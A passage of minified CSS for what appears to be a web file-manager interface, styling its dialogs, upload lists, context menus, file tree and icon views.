.ajaxError{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;color:#f60;position:absolute;left:0px;right:0px;bottom:0px;top:40px;overflow:auto;padding:10px;}.pathinfo{font-size:1em;width:345px;min-height:300px;padding:20px 0 10px 0;color:#446;}.pathinfo .line{width:95%;margin:8px auto 8px auto;height:0px;border-bottom:1px solid #eee;}.pathinfo .download_url{padding:0px 5px;width:100%;line-height:32px;height:32px;}.pathinfo .p{margin-bottom:2px;}.pathinfo .p .icon{width:40px;height:40px;float:left;border:1px solid #f6f6f6;margin-left:10px;}.pathinfo .p input.info_chmod{padding:0px 10px;width:55px;color:#999;margin-right:10px;display:inline-block;height:25px;line-height:25px;}.pathinfo .p .title{width:80px;float:left;color:#888;text-align:right;}.pathinfo .p .content{float:left;width:235px;word-break:break-all;color:#666;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;font-size:1em;margin-left:15px;}.pathinfo .p .content.file_md5_loading{background:url("../../../images/common/loading.gif") 18px 5px no-repeat;}.pathinfo input{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;line-height:28px;padding:2px 5px;width:150px;float:left;height:28px;border-radius:3px;}.pathinfo input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.pathinfo .download_url{margin-right:0;border-radius:3px 0 0 3px;}.file_drag_upload .aui_content{overflow-y:scroll;}.fileuploadinfo,.fileupload{color:#555;font-size:1em;}.fileuploadinfo{font-size:18px;color:#5499D9;margin-bottom:8px;border-bottom:1px solid #dde;padding-bottom:6px;}.fileuploadinfo em{font-size:1em;}.fileupload{padding-left:25px;}.fileupload span.status{padding-left:10px;font-size:10px;color:#f96;}.file_list{display:none;}.movie_player_dialog{overflow:hidden;}.flash_player{width:100%;height:100%;}.wmp_player{width:0%;height:0%;}.movie_player_dialog .aui_content{background:#000;}.dialog_path_remove .aui_content{word-wrap:break-word;width:auto;}.file_upload{height:385px;padding:5px;margin-right:10px;min-width:365px;overflow:hidden;}.file_upload .top_nav{border-bottom:1px solid #ddd;margin-top:6px;}.file_upload .menu{display:block;text-decoration:none;float:left;padding:0px 15px;height:26px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee');background:#eee;background-image:-webkit-linear-gradient(top,#fff,#eee);background-image:-moz-linear-gradient(top,#fff,#eee);background-image:-o-linear-gradient(top,#fff,#eee);background-image:-ms-linear-gradient(top,#fff,#eee);background-image:linear-gradient(top,#fff,#eee);-pie-background:linear-gradient(to top,#fff,#eee);font-size:1em;border:1px solid #ccc;text-align:center;line-height:24px;margin-right:5px;margin-bottom:-1px;color:#444;border-radius:4px 4px 0 0;}.file_upload .menu.this{background:#fff;border-bottom:1px solid #fff;}.file_upload .menu:hover{background:#fff;}.file_upload .upload_box{margin-top:10px;}.file_upload .download_btn_group{margin-left:-10px;margin-top:-3px;}.file_upload .download_btn_group .download_start{border-radius:0px;}.file_upload div a.left{margin-left:10px;}.file_upload div a.right{position:absolute;right:5px;}.file_upload span.info{font-size:1em;font-style:italic;padding:0px 0 5px 10px;}.file_upload i{font-size:1em;color:#aaa;padding-left:10px;}.file_upload .list{margin:10px 15px;}.file_upload .list input{margin-left:10px;width:190px;height:22px;line-height:24px;padding:0px 3px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.file_upload .list input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload .submit input{float:right;padding:4px 20px;background:#ddd;border:none;margin-right:36px;margin-top:10px;}.file_upload .submit input:hover{background:#bbb;}.file_upload .submit input:active{background:#444;color:#fff;}.file_upload .uploader-content{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;background:url("../../../images/common/drop_upload.png") no-repeat center;}.file_upload #downloader{height:290px;border:1px solid #ddd;overflow:auto;}.file_upload .webuploader-container{position:relative;}.file_upload .webuploader-element-invisible{position:absolute !important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);}.file_upload .webuploader-pick{position:relative;display:inline-block;color:#fff;text-align:center;height:27px;line-height:27px;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);cursor:pointer;padding:0px 15px;}.file_upload .webuploader-pick-hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .upload_cert{width:24px;background:#def;height:100%;float:left;cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);height:27px;line-height:27px;position:relative;z-index:10;padding:0;border:none;margin-left:-5px;border-left:1px solid rgba(0,0,0,0.1);border-top-right-radius:3px;border-bottom-right-radius:3px;}.file_upload .upload_cert .caret{margin-top:-2px;margin-left:-1px;border-top:4px solid #fff;}.file_upload .upload_cert_box .dropdown-menu{right:inherit;top:inherit;margin-top:30px;}.file_upload .upload_cert_box .dropdown-menu:before{right:inherit;left:10px;}.file_upload .upload_cert_box .dropdown-menu:after{right:inherit;left:11px;}.file_upload .upload_cert_box.open.upload_cert,.file_upload .upload_cert_box .upload_cert:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .webuploader-pick-disable{opacity:0.6;filter:alpha(opacity=60);pointer-events:none;}.file_upload .btns{margin-bottom:10px;font-size:1em;height:28px;}.file_upload .btns .tips{float:right;line-height:30px;}.file_upload .btns #picker{float:left;}.file_upload .upload_box_tips{line-height:34px;color:#888;position:absolute;right:10px;}.file_upload .upload_box_config{box-shadow:inset 0px 1px 6px rgba(0,0,0,0.3);border-radius:2px;margin-bottom:10px;padding:4px;}.file_upload .upload_box_config .upload_check_box{margin-left:10px;}.file_upload .upload_box_config label{margin-left:15px;}.file_upload .upload_box_config label input{margin-right:5px;}.file_upload .uploader-list .item,.file_upload .download_list .item{padding:0px;height:35px;overflow:hidden;border-bottom:1px solid #ccc;background:#fefefe;}.file_upload .uploader-list .item .info,.file_upload .download_list .item .info{color:#224;line-height:35px;padding:0 5px;z-index:100;position:relative;font-size:1em;}.file_upload .uploader-list .item .info span,.file_upload .uploader-list .item .info a,.file_upload .download_list .item .info span,.file_upload .download_list .item .info a{display:block;float:left;text-overflow:ellipsis;height:30px;}.file_upload .uploader-list .item .info .title,.file_upload .download_list .item .info .title{color:#3A87AD;width:160px;overflow:hidden;font-weight:800;}.file_upload .uploader-list .item .info .size,.file_upload .download_list .item .info .size{width:45px;text-align:center;color:#3A87AD;font-size:12px;}.file_upload .uploader-list .item .info .state,.file_upload .download_list .item .info .state{width:100px;text-align:right;font-size:12px;}.file_upload .uploader-list .item .info .font-icon,.file_upload .download_list .item .info .font-icon{margin-left:12px;font-size:20px;width:20px;line-height:35px;cursor:pointer;color:#bbb;}.file_upload .uploader-list .item .info .font-icon:hover,.file_upload .download_list .item .info .font-icon:hover{text-decoration:none;color:#f60;}.file_upload .uploader-list .item .info .icon-ok,.file_upload .download_list .item .info .icon-ok{color:#40AA53;}.file_upload .uploader-list .item .info .error,.file_upload .download_list .item .info .error{color:#f30;overflow:hidden;}.file_upload .uploader-list .item .progress,.file_upload .download_list .item .progress{height:38px;margin:0px;width:100%;float:left;margin-top:-30px;border-radius:0;box-shadow:none;}.file_upload .uploader-list .item .progress-bar,.file_upload .download_list .item .progress-bar{background-color:#abd7fb;background-image:linear-gradient(45deg,rgba(255,255,255,0.35) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.35) 50%,rgba(255,255,255,0.35) 75%,transparent 75%,transparent);}.file_upload .uploader-list .success:hover,.file_upload .download_list .success:hover{cursor:pointer;background:#def;border-bottom:1px solid #3A87AD;}.messageBox{position:absolute;top:15%;left:0px;z-index:88;background:#63acff;color:#fff;opacity:0.7;filter:alpha(opacity=70);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 10px 60px rgba(0,0,0,0.6);-moz-box-shadow:0 10px 60px rgba(0,0,0,0.6);box-shadow:0 10px 60px rgba(0,0,0,0.6);display:none;}.messageBox .content{padding:10px 30px;line-height:20px;width:auto;}.aui_outer{text-align:left;position:relative;}.aui_mask{position:absolute;width:100%;height:100%;background:#fff;opacity:0.01;filter:alpha(opacity=1);}.aui_loading{height:100%;width:100%;overflow:hidden;opacity:0.7;filter:alpha(opacity=70);position:absolute;left:0;top:40px;z-index:9999;text-align:center;text-indent:-999em;}.aui_loading span{width:80px;height:80px;border-radius:6px;background:#fff url("../../../images/common/dialog/dialog_loading.gif") no-repeat center center;position:absolute;left:50%;top:50%;margin-left:-40px;margin-top:-40px;}table.aui_border,table.aui_dialog{width:100%;border:0;margin:0;border-collapse:collapse;}.aui_nw,.aui_n,.aui_ne,.aui_w,.aui_c,.aui_e,.aui_sw,.aui_s,.aui_se,.aui_header,.aui_tdIcon,.aui_main,.aui_footer{padding:0;}.aui_header,.aui_buttons button{font:12px/1.11;}.aui_title{overflow:hidden;text-overflow:ellipsis;font-size:1em;}.aui_title img{width:20px;margin-right:5px;border-radius:4px;pointer-events:none;}.aui_state_noTitle .aui_title{display:none;}.aui_main{font-size:1.1em;text-align:center;background:#FFF;min-width:9em;min-width:0 \9;visibility:auto;}.aui_content{text-align:left;color:#666;border:none 0;}.aui_content{width:100%;height:100%;}.aui_content.aui_state_full{display:block;width:100%;margin:0;padding:0 !important;height:100%;}.aui_icon{vertical-align:middle;background:#fff;}.aui_icon div{width:48px;height:48px;margin:10px 0 10px 10px;background-position:center center;background-repeat:no-repeat;}.aui_buttons{padding:10px 8px;text-align:right;white-space:nowrap;background-color:#F6F6F6;border-top:solid 1px #DADEE5;}.aui_buttons button{margin-left:15px;padding:3px 20px;height:25px;cursor:pointer;display:inline-block;text-align:center;line-height:1;overflow:visible;color:#000000;border:none;background:#aaa;color:#fff;}.aui_buttons button:focus{outline:none 0;}.aui_buttons button:hover{background:#c4c4c4;}.aui_buttons button:active{background:#777777;}.aui_buttons button[disabled]{cursor:default;color:#919191;background:#aaa;opacity:0.5;filter:alpha(opacity=50);}.aui_buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}.aui_buttons button.aui_state_highlight{color:#FFF;background:#63acff;}.aui_buttons button.aui_state_highlight:hover{color:#FFF;background:#96c7ff;}.aui_buttons button.aui_state_highlight:active{background:#0076fc;}.aui_buttons button.disable,.aui_buttons button.disabled{opacity:0.3;filter:alpha(opacity=30);}.aui_outer{border:0px solid #63acff;-webkit-box-shadow:0px 5px 20px rgba(0,0,0,0.6);-moz-box-shadow:0px 5px 20px rgba(0,0,0,0.6);box-shadow:0px 5px 20px rgba(0,0,0,0.6);-webkit-transition:box-shadow 0.1s opacity 0.2s;-moz-transition:box-shadow 0.1s opacity 0.2s;-o-transition:box-shadow 0.1s opacity 0.2s;-ms-transition:box-shadow 0.1s opacity 0.2s;transition:box-shadow 0.1s opacity 0.2s;}.aui_state_lock .aui_nw,.aui_state_lock .aui_n,.aui_state_lock .aui_ne,.aui_state_lock .aui_w,.aui_state_lock .aui_e,.aui_state_lock .aui_sw,.aui_state_lock .aui_s,.aui_state_lock .aui_se{background:rgba(0,0,0,0.5);background:#000 \9 !important;opacity:0.5;filter:alpha(opacity=50);}.aui_titleBar{position:relative;height:100%;}.aui_title{height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;background-color:#7dbaff;}.aui_state_focus .aui_mask{display:none;}.aui_state_focus .aui_outer{-webkit-box-shadow:0px 5px 40px rgba(0,0,0,0.7);-moz-box-shadow:0px 5px 40px rgba(0,0,0,0.7);box-shadow:0px 5px 40px rgba(0,0,0,0.7);}.aui_state_focus .aui_title{background-color:#63acff;}.aui_state_drag .aui_title{cursor:move;cursor:-webkit-grabbing;cursor:grabbing;}.aui_min,.aui_max,.aui_close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;color:#fff;border-top:none;top:0px;height:22px;width:35px;font-size:1.15em;line-height:22px;text-align:center;background-color:transparent;height:24px;width:38px;line-height:25px;color:#ffffff;font-family:FontAwesome;}.aui_min:hover,.aui_max:hover,.aui_close:hover{text-decoration:none;color:#fff;background-color:#1783ff;}.aui_close:hover{background:#cc0000;}.aui_min{right:82px;content:"\f068";}.aui_max{right:43px;content:"\f065";}.aui_close{right:5px;content:"\f00d";}.aui_min:before{content:"\f068";}.aui_max:before{content:"\f065";}.aui_close:before{content:"\f00d";}.dialogMax .aui_max:before{content:"\f066";}.aui_max,.aui_min{display:none;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_se{width:5px;height:5px;}.aui_state_noTitle .aui_titleBar{bottom:0;_bottom:0;_margin-top:0;}.aui_state_noTitle .aui_outer{box-shadow:none !important;border:none !important;}.aui_state_noTitle .aui_inner{border:1px solid #aaa;}.aui_state_noTitle .tips{padding:15px;padding-left:10px;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_n,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_w,.aui_state_noTitle .aui_e,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_s,.aui_state_noTitle .aui_se{background:rgba(0,0,0,0.1);background:#000 \9 !important;filter:alpha(opacity=10)!important;}.aui_state_noTitle .aui_close,.aui_state_noTitle .aui_max,.aui_state_noTitle .aui_min{display:none;font-size:1em;}.dialogMax .aui_nw,.dialogMax .aui_ne,.dialogMax .aui_sw,.dialogMax .aui_se,.dialogMax .aui_w,.dialogMax .aui_e{width:0px;}.dialogMax .aui_sw,.dialogMax .aui_n,.dialogMax .aui_se{height:0px;}.dialogMax .aui_outer{border:none !important;}.dialog-can-resize .resize-handle{position:absolute;z-index:9999;display:block;}.dialog-can-resize .resize-top{z-index:0;cursor:n-resize;top:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-bottom{z-index:0;cursor:s-resize;bottom:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-right{z-index:0;cursor:e-resize;right:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-left{z-index:0;cursor:w-resize;left:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-bottom-right{cursor:se-resize;width:18px;height:18px;right:-7px;bottom:-7px;background:url('../../../images/common/dialog/resize_corner.png') no-repeat;opacity:0.4;filter:alpha(opacity=40);}.dialog-can-resize .resize-bottom-left{cursor:sw-resize;width:15px;height:15px;left:-7px;bottom:-7px;}.dialog-can-resize .resize-top-left{cursor:nw-resize;width:15px;height:15px;left:-7px;top:-7px;}.dialog-can-resize .resize-top-right{cursor:ne-resize;width:15px;height:15px;right:-5px;top:-7px;}.dialog-can-resize .aui_min,.dialog-can-resize .aui_max{display:block;}body div.dialog-simple .aui_titleBar{width:100%;position:relative;bottom:0;height:100%;}body div.dialog-simple .aui_border{border:none;}body div.dialog-simple .aui_outer{border:none;border-radius:none;box-shadow:none;background:none;}body div.dialog-simple .aui_inner{border:none;background:none;}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_n,body div.dialog-simple .aui_ne,body div.dialog-simple .aui_w,body div.dialog-simple .aui_e,body div.dialog-simple .aui_sw,body div.dialog-simple .aui_s,body div.dialog-simple .aui_se{background:none;}body div.dialog-simple .aui_title{background:rgba(0,0,0,0.8);opacity:0.8;filter:alpha(opacity=80);border-radius:3px;border:none;height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;}body div.dialog-simple .aui_min,body div.dialog-simple .aui_max,body div.dialog-simple .aui_close{border:none;top:6px;display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;background-color:rgba(255,255,255,0.3);color:#fff;opacity:0.5;filter:alpha(opacity=50);height:22px;width:22px;font-size:1.15em;line-height:22px;text-align:center;border-radius:4px;font-family:FontAwesome;}body div.dialog-simple .aui_min:hover,body div.dialog-simple .aui_max:hover,body div.dialog-simple .aui_close:hover{text-decoration:none;color:#fff;background-color:#cc0000;}body div.dialog-simple .aui_min:active,body div.dialog-simple .aui_max:active,body div.dialog-simple .aui_close:active{color:fff;background-color:#f00;}body div.dialog-simple .aui_main{background:none !important;}body div.dialog-simple .aui_max{right:30px;}body div.dialog-simple .aui_min{right:56px;}body div.dialog-simple .aui_dialog,body div.dialog-simple .aui_border{background:none;}body div.dialog-simple .resize-bottom-right{background:none !important;}body div.dialog-simple .aui_header{opacity:0.01;filter:alpha(opacity=1);}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_ne{height:0px;}body div.dialog-simple .dialog_mouse_in .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.aui_state_drag .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.dialogMax .aui_header{opacity:1.0;filter:alpha(opacity=100);}@-webkit-keyframes fadein{0%{ opacity:0;} 50%{ opacity:0.4;}}.playmusic-icon{display:none;}.context-menu-list{margin:0;margin-left:4px;min-width:190px;max-width:300px;font-size:1em;display:inline-block;position:absolute;list-style-type:none;padding:8px 0px;border:none;border:1px solid #ccc \9;border-radius:4px;background:#fff;-webkit-box-shadow:0 10px 80px rgba(0,0,0,0.4);-moz-box-shadow:0 10px 80px rgba(0,0,0,0.4);box-shadow:0 10px 80px rgba(0,0,0,0.4);}.context-menu-list span b{display:inline-block;font-size:1em;font-weight:200;color:#aaa;padding-left:10px;min-width:50px;text-align:right;overflow:hidden;position:absolute;right:10px;width:65px;}.context-menu-list .hover>span>b{color:#fff;}.context-menu-list li.selected{border-left:none !important;background:none;}.context-menu-list li.selected i.font-icon{color:#aaa;font-family:FontAwesome;font-weight:normal;font-style:normal;}.context-menu-list li.selected i.font-icon:before{content:"\f00c" !important;}.context-menu-list .context-menu-submenu:after{content:"\f0da";font-family:FontAwesome;display:inline-block;float:right;margin-right:0px;right:10px;position:absolute;}.context-menu-list .context-menu-item{display:block;cursor:pointer;white-space:nowrap;clear:both;line-height:25px;height:23px;position:relative;border:none;padding:0px 20px 0 20px;color:#222;-webkit-transition:background-color .1s;-moz-transition:background-color .1s;-o-transition:background-color .1s;-ms-transition:background-color .1s;transition:background-color .1s;}.context-menu-list .context-menu-item .font-icon{display:inline-block;width:25px;font-size:1.2em;color:#aaa;}.context-menu-list .context-menu-item.disabled,.context-menu-list .context-menu-item.disable{cursor:not-allowed;color:#ccc;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{color:#ddd;}.context-menu-list .context-menu-item.disabled.hover,.context-menu-list .context-menu-item.disable.hover{color:#ccc;cursor:default;background-color:#fff;}.context-menu-list .context-menu-item.disabled.hover .font-icon,.context-menu-list .context-menu-item.disable.hover .font-icon{color:#ddd;}.context-menu-list .context-menu-item.hover{cursor:pointer;color:#fff;background:#63acff;background-color:none \9;}.context-menu-list .context-menu-item.hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item span i{float:right;text-align:right;font-style:normal;color:#888;}.context-menu-list .context-menu-item.context-menu-separator{height:2px;line-height:0;border-bottom:1px solid #eee;margin:2px 0 4px;}.context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}.context-menu-list .context-menu-item.hover > .context-menu-list{display:block;}.context-menu-list .context-menu-item.hover > .context-menu-list .font-icon{color:#aaa;}.context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item .context-menu-accesskey{text-decoration:underline;}.context-menu-list .context-menu-item .line_top{border-top:1px solid #ddd !important;}.ztree{margin:0px;padding:10px 0px;font-size:1em;}.ztree li{padding:0;margin:0;list-style:none;text-align:left;white-space:nowrap;outline:0;}.ztree li ul{margin:0;padding:0;}.ztree li.level0{margin-bottom:4px;}.ztree li.level0>span.tree_icon{width:20px;}.ztree li span{line-height:24px;}.ztree li span.button{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:24px;width:20px;margin-right:5px;}.ztree li span.button.switch{width:25px;height:25px;margin-right:0px;background:none;text-align:center;line-height:25px;}.ztree li span.button.switch:hover{background:rgba(0,0,0,0.03);}.ztree li span.button.switch:after{content:"\f0da";font-family:FontAwesome;color:#aaa;text-decoration:inherit;font-size:1.25em;line-height:16px;padding-left:6px;-webkit-font-smoothing:antialiased;}.ztree li span.button.switch.noline_docu:after{content:' ';}.ztree li span.button.switch.noline_open:after,.ztree li span.button.switch.noline_open_hover:after{content:"\f0d7";}.ztree li span.button.switch.switch_hover:after{color:#63acff;}.ztree li span.button.ico_loading{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.ztree li span.button.ico_loading .x-item-file{display:none;}.ztree li span.tree_icon{height:21px;width:21px;background:none;overflow:hidden;}.ztree li span.tree_icon img{width:100%;max-width:100%;max-height:100%;}.ztree li a{padding-top:0px;cursor:pointer;text-decoration:none;display:block;margin:0;color:#333;vertical-align:top;line-height:24px;height:24px;padding-left:10px;border:1px solid #fff;}.ztree li a:hover{text-decoration:none;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;-o-transition:all 0.3s;-ms-transition:all 0.3s;transition:all 0.3s;background:#eee;height:24px;border:1px solid #eee;}.ztree li a.curSelectedNode,.ztree li a.curDropTreeNode{border:1px solid #63acff;background:#63acff;line-height:24px;height:24px;color:#fff;}.ztree li a.curSelectedNode .button.switch:after,.ztree li a.curDropTreeNode .button.switch:after{color:#fff !important;}.ztree li a.curDropTreeNode{box-shadow:0 0 0 1px #fff inset !important;}.ztree li a.curSelectedNode_Edit{border:1px solid #63acff;background:#63acff;color:black;height:24px;}.ztree li a input.rename{height:25px;line-height:24px;padding:0;margin:0;border:none;outline:none;margin-left:-3px;padding-left:3px;width:106px;position:absolute;margin-top:-1px;}.ztree li a span.button.root_docu,.ztree li a span.button.noline_docu{background:none;}ul.ztree.zTreeDragUL{margin:0;padding:0;position:absolute;width:auto;height:auto;background-color:#63acff;border:1px solid #63acff;opacity:0.5;filter:alpha(opacity=50);}ul.ztree.zTreeDragUL li a span.space{display:none !important;}ul.ztree.zTreeDragUL li a{padding:4px 10px 0 10px;color:#fff;}ul.ztree.zTreeDragUL li span.button.switch{display:none;}.ztree li a.tmpTargetNode_inner{background:#0076fc;border:1px solid #3091ff;color:#fff;}.ztree li a.tmpTargetNode_prev{border-bottom:1px solid #f96;}.ztree li a.tmpTargetNode_next{border-bottom:1px solid #f96;}span.tmpzTreeMove_arrow{display:inline-block;margin:4px 0 0 2px;position:absolute;border-color:transparent transparent transparent #fff;border-style:solid;border-width:7px 0px 7px 7px;width:0;height:0;_border-top-color:white;_border-bottom-color:white;_filter:chroma(color=white);}.frame-left .ztree li .file{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:22px;width:18px;margin-right:5px;}#selContainer{position:absolute;width:0px;height:0px;border:1px solid #005ec9;background-color:#63acff;z-index:1000;opacity:0.5;filter:alpha(opacity=50);}#selContainer:hover{cursor:default;}.file-draging{position:absolute;left:0;top:0px;z-index:1000;pointer-events:none;opacity:0.95;}.file-draging.fileList_icon,.file-draging.fileList_list,.file-draging.fileList_list_split{z-index:1000;overflow:visible;}.file-draging.fileList_icon div.file,.file-draging.fileList_list div.file,.file-draging.fileList_list_split div.file{clear:both;position:absolute;margin:0;transition:none !important;}.file-draging.fileList_icon div.file.handle_target,.file-draging.fileList_list div.file.handle_target,.file-draging.fileList_list_split div.file.handle_target{z-index:999;}.draggable-dragging{z-index:9999;clear:both !important;pointer-events:none;position:absolute !important;padding:5px;opacity:0.9;filter:alpha(opacity=90);background:#4285f4;border-radius:4px;color:#fff;box-shadow:3px 5px 15px rgba(0,0,0,0.2);font-size:1.15em;}.draggable-dragging .drag_number{display:none;}.draggable-dragging span{line-height:25px;padding-left:5px;padding-right:15px;}.draggable-dragging span .font-icon{display:inline-block;width:22px;height:22px;text-align:center;line-height:22px;color:#fff;font-size:1.0em;font-weight:800;margin-right:10px;border-radius:12px;}.draggable-dragging span .bg-default{background:#b9e0ff;color:#4285f4;}.draggable-dragging span .bg-ok{background:#6ee273;}.draggable-dragging span .bg-error{background:#FB2500;}.draggable-dragging span b{padding-right:15px;}.item-file-draging{opacity:0.5;filter:alpha(opacity=50);}.selectDragDraging{cursor:move;cursor:-webkit-grabbing;}.selectDragDraging .fileList_icon .selectDragTemp{transform:scale(1.1,1.1);}.fileList_icon{padding:10px 0 0 10px;}.fileList_icon .meta_info{height:22.5px;width:22.5px;margin-right:6.75px;margin-top:-22.5px;position:absolute;right:0;}.fileList_icon .meta_info img{width:100%;height:100%;}.fileList_icon .file{color:#335;border:1px solid transparent;box-shadow:0px 0px 2px rgba(255,255,255,0);-webkit-transition:background 0.2s, border 0.2s, color 0.2s;-moz-transition:background 0.2s, border 0.2s, color 0.2s;-o-transition:background 0.2s, border 0.2s, color 0.2s;-ms-transition:background 0.2s, border 0.2s, color 0.2s;transition:background 0.2s, border 0.2s, color 0.2s;width:60px;height:75px;text-decoration:none;margin:0;margin-right:10px;margin-bottom:10px;overflow:hidden;float:left;}.fileList_icon .file .ico{-webkit-transition:all 0.168s;-moz-transition:all 0.168s;-o-transition:all 0.168s;-ms-transition:all 0.168s;transition:all 0.168s;}.fileList_icon .file.hover{border:1px solid #dedede;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fafafa', endColorstr='#eeeeee');background:#eeeeee;background-image:-webkit-linear-gradient(top,#fafafa,#eeeeee);background-image:-moz-linear-gradient(top,#fafafa,#eeeeee);background-image:-o-linear-gradient(top,#fafafa,#eeeeee);background-image:-ms-linear-gradient(top,#fafafa,#eeeeee);background-image:linear-gradient(top,#fafafa,#eeeeee);-pie-background:linear-gradient(to top,#fafafa,#eeeeee);border-radius:3px;}.fileList_icon .file .filename{width:60px;cursor:default;text-align:center;word-break:break-all;font-size:1.0em;margin:0 auto;line-height:1.5em;padding-bottom:5px;}.fileList_icon .file .filename .textarea{position:absolute;font-size:1.0em;text-align:center;margin-left:-1px;margin-top:-3px;}.fileList_icon .file .filename #pathRenameTextarea,.fileList_icon .file .filename .newfile{width:60px;padding:2px 0px;margin-top:0px;overflow-y:hidden;border:1px solid #888;font-size:1.0em;text-align:center;line-height:1.5em;position:absolute;z-index:999;border-bottom-left-radius:3px;border-bottom-right-radius:3px;}.fileList_icon .file .filename #pathRenameTextarea:focus,.fileList_icon .file .filename .newfile:focus{outline:none;}.fileList_icon .file.select,.fileList_icon .file.selectDragTemp{border:1px solid #d2d2d2;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#d9d9d9');background:#d9d9d9;background-image:-webkit-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-moz-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-o-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-ms-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:linear-gradient(top,#f3f3f3,#d9d9d9);-pie-background:linear-gradient(to top,#f3f3f3,#d9d9d9);border-radius:3px;padding:0px;}.fileList_icon .file.file_icon_edit{overflow:visible;}.fileList_icon .file.file_icon_edit .filename{position:absolute;z-index:99;}.fileList_icon .file .ico{height:60px;width:60px;padding-top:4px;text-align:center;vertical-align:middle;display:table-cell;}.fileList_icon .file .ico img{height:100% \9;max-height:100%;max-width:100%;border-radius:5px;}.fileList_icon .file .ico.picasaImage{background:none;width:50px;padding-left:5px;}.fileList_icon .file .ico.picasaImage 